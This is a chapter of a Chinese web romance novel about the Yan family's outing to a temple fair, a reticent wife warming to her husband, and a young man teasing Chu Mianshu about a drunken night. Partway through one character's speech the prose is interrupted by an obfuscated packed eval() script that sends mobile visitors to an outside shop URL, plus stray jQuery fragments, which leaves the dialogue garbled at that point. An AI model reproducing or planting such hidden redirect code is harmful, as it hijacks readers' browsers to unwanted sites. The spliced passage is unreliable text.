翌日,清风拂过树梢,马车里褚眠殊扶着额,说不上头疼欲裂,只是觉得有些乏累,加上马车摇晃,她觉得自己昨日吃的东西都快吐出来了。
忍不住抬手掀开布帘,半个身子趴在车窗上迎风,头脑才清醒了些。
目光不经意看到罪魁祸首,褚眠殊皱眉,她以后绝不和他一起喝酒了。
她与嫁入燕家几位娘子同坐一辆马车,昨日的新娘子方枝微也在,说是今日晋安寺有庙会,燕家众人便携家带口打算前去祈福,住上一阵,就当游玩了。
褚眠殊倒是瞧得出来,沈镶是个柔和性子,举止安静,而方枝微则是很合得来,性子张扬洒脱,一路上都在和绯绯玩闹。
马车行至中途歇息,绯绯闹着要下去玩,沈镶走下马车正要把绯绯抱下,不料却被身侧人先行一步抱去。
燕励一手抱着女儿,对着妻子道:“我来吧”
沈镶一听,应了声好,瞧着绯绯跑去玩,地面石子又多,生怕小姑娘不注意会摔倒,有些担忧燕励照顾不好,抬步想上前,却被方枝微拦下。
“五弟妹别太担心了,好不容易出来游玩一趟,五哥好歹是绯绯的爹,也不能事事都由你来做,要让爹也表现表现,放宽心啊!”
方枝微安抚着她,她可看得出,燕励和沈镶虽是夫妻,但感觉生疏的紧,燕励主动,沈镶又有些回避,一来一回的。
闻言,沈镶也没再坚持。
只见下一瞬,燕励原路返回,有些不好意思摸了摸头,道:“一起吧,我担心自己照顾不好绯绯”
燕励这借口找的,让方枝微啪啪被打脸,褚眠殊忍不住嗤笑。
沈镶一愣,找不着头脑,有些无奈。
见夫妻二人走远,方枝微轻笑了声,可惜喃喃道:“没想到五弟这么主动,竟还没得到五嫂嫂的心”
褚眠殊听到这话一愣,一脸疑惑:“?”都是夫妻了,女儿都有了,还能不熟?
方枝微还以为褚眠殊知道,回头却见她困惑模样,才知道自己说漏了嘴,不禁暗骂自己一顿。
低声开口,有些同情道:“镶娘的爹娘去后,她一个孤女就被大伯嫁给了村里的李老头,嫁过去的第一日夜里,就成了孀妇”
说着,方枝微想起过往,有些生气:“当时村里村外都说她扫把星,克死了李大爷,她又是一介女子,长的貌美又手无缚鸡之力,很容易就被人盯上”
“那时我还小,之后就听说,李大爷未过头七,镶娘就再嫁,入了燕家为妻,那会儿村里议论纷纷的,说什么的都有,镶娘很命苦,但好在,燕家很好”
听到沈镶前半生坎坷之事,褚眠殊唏嘘,目光落在二人身上,一时静默无言。
“吃果子”身侧传来燕悸元的声音,不知道他什么时候来的,她都没发现,但褚眠殊已经习惯了燕悸元神出鬼没。
褚眠殊咬了口李子,“嘶”了声,李子汁水又酸又苦,褚眠殊直吐出来。
燕悸元瞧着,笑得开怀,故意捉弄。
褚眠殊忍着气,没跟他计较,使唤一句:“我渴了,想喝水”
闻言,燕悸元也没怀疑,笑着转身去拿,走到一半,后腿砸来一颗石子,燕悸元回头。
就见褚眠殊不怀好意的扬着唇角,手里掂量着石子,很明显在报刚才的仇。
燕悸元垂眸看着腿上滚落的小石子,非但不恼,反倒低低笑出了声。
他转过身,日光穿过层层枝叶,落在他眉眼间。少年郎身姿挺拔,眉眼桀骜,偏偏看向褚眠殊的目光里,多了戏谑。
“学坏了?”
燕悸元缓步折返,回到她身边,居高临下地看着她。
褚眠殊抬眼,唇角扬起:“我这叫近朱者赤,近墨者黑”
燕悸元闻言嗤笑俯身,伸手抽走她掌心的石子,指尖不经意擦过她微凉的指尖,轻轻一碰,又极快收回。
细微的触感落在掌心,褚眠殊微怔一瞬。
她昨夜酒后昏沉,今日又一路疲乏,被他这么一闹,满身倦意倒是散得干干净净。
燕悸元捏着那颗圆润的石子,随手抛在草丛里,而后递过来:“不逗你了,挪,给你赔罪”
褚眠殊接过,低头小口饮着。
清甜的温水滑过喉咙,才压下了方才酸李子的涩意。
不远处的河边上,燕励小心翼翼牵着绯绯的小手,生怕她摔倒,动作笨拙却极尽耐心。
沈镶就静静站在一旁看着,素来垂着的眉眼微微柔和,唇角极浅地勾了一下。
看着满地乱跑的绯绯,又看向身旁手足无措、时时回头看她的燕励,心底积压多年的阴霾,好像被这春日的暖阳轻轻化开一角。
她的前半生如浮萍,好在入燕家这些年,燕家上下从无人苛责她的过往,公婆尚且宽厚,夫君温柔,幼女乖巧。
只是心底那道陈年伤疤,终究让她不敢全然交付真心,面对燕励的热忱,习惯性退缩、疏离。
燕励似是察觉到她的怔忡,小心翼翼凑近,轻声道:“累不累?若是乏了,我们便回马车歇着。”
他声音极轻,带着小心翼翼的讨好。
沈镶抬眸,撞进他满眼的温柔,沉默良久,轻轻摇了摇头,极轻地吐出两个字:“不累。”
这是她今日第一次主动回应他。
燕励眼底瞬间亮起微光,像得了天大的赏赐,连眉眼都变得雀跃起来。
燕呈川走到妻子身旁,抬手悄然放在她腰间,动手为她轻揉着,方枝微感到舒服。
看着一家和睦的画面,低声对身侧的人道:“你看,你五哥如今算是彻底栽了”
“这叫日久生情”燕呈川答。
方枝微不禁抬头:“那我们算什么?”
这话一出,燕呈川不带犹豫的回道:“一见钟情”
方枝微一听,不禁暗骂:“说的真好听,你明明是见色起意”
“哪有?第一次见你,你可是摔在泥坑里”燕呈川忙着解释,不禁想起二人第一次见面,她狼狈又滑稽的模样。
听他的辩解,方枝微觉得也是。
不远处的二房夫人林婉婷、大房夫人王娇、三房夫人商含兮,四房夫人李莲欣站在一处。
王娇瞧着,目光只落在褚眠殊与燕悸元身上,不禁冷笑提醒:“三弟妹还是赶紧少让你家阿元和褚家女待在一块吧!
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17723282|205345||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
省的日后还要棒打鸳鸯,你做了恶母”
商含兮未回,林婉婷倒是听着,却不觉得,浅笑回道:“大嫂,上一辈的过往何必加在孩子……”
话未尽,只听王娇哼声:“二弟妹可真是心宽,还为褚家人说话,不过也是,毕竟死了的丈夫和儿子的人,又不是我”
商含兮一听这话,冷眼望向王娇:“大嫂还是口下留德些,父亲都未说什么,何需你来置喙?”
王娇闻言,不满开口:“真是好心当成驴肝肺”话音落便转身上了马车。
李莲欣上前安抚:“大嫂那是气话,二嫂你别放在心上”
林婉婷无言,神情落寞。
让李莲欣都不知该如何安慰,毕竟,大嫂说话虽难听,但确实是实话。
喝完水,褚眠殊将水壶还给他,低声提醒道:“燕悸元,你以后不管没事有事都别来找我!”
燕悸元一听,定定看了她半晌,忽然低低笑了一声,只是笑意未达眼底:“可你昨夜可都把我便宜占尽了!想想我一个大好男儿,还未说亲就没了清白,你得负责!”
他这话说的委屈,让褚眠殊恨的牙痒痒直道:
“你胡说八道!”
燕悸元观察四周,他们二人所在之处有一棵树挡着,没人会看到。
树荫遮下一片浅影,隔绝了外头往来的人声与日光,独独圈住并肩而立的两人。
燕悸元身形微俯,刻意凑近她耳畔,少年的嗓音压得低哑,带着几分酒后残留的慵懒。
那双素来桀骜张扬的眼,此刻湿漉漉的,装着恰到好处的委屈,死死缠着褚眠殊慌乱的目光:
“怎么胡说了?昨夜你喝醉赖在我身上不肯走,搂着我的腰不肯撒手,还凑过来亲了我侧脸一口,难不成全忘了?”
褚眠殊整张脸瞬间烧得滚烫,从耳尖红到脖颈,手足无措地往后退了半步,险些撞到身后的树干。
她昨夜确实饮多了,昏昏沉沉记不清细节,根本不记得有这回事!
似是打定主意,燕悸元堵在她跟前,他唇角勾着浅浅的笑意,眼底却藏着认真,没有半分玩笑。
“别想赖账”他要用昨夜的亲昵、用她抵赖不掉的牵绊,扯断她想要划清界限的念头。
燕悸元微微俯身,凑近她耳边,语气温柔:“想推开我,没用!往后想躲着我,也没用。”
“亲了我抱了我,褚眠殊,上次你毁我名声,这次你占我便宜,现下你可甩不掉了!”
褚眠殊猛地抬眼,撞进他深邃滚烫的眼眸里,呼吸骤然一滞。
整个人被他撩得浑身发烫,偏偏心底那层冰冷的防备,正在一点点被他的热烈融化。
她明明该决绝、该疏离、该避而远之。
可面对满眼都是她的少年,她竟半句狠心的话,都说不出口。
“眠娘?眠娘?”要继续上路,方枝微转头不见褚眠殊,担忧喊了几声。
褚眠殊闻声一把推开燕悸元,仓皇避开他的目光,跑了几步回头骂了声:“做梦去吧!”就逃也似的走向马车。
看着她慌乱逃离的背影,燕悸元立于树下,望着她的方向,眼底笑意深沉。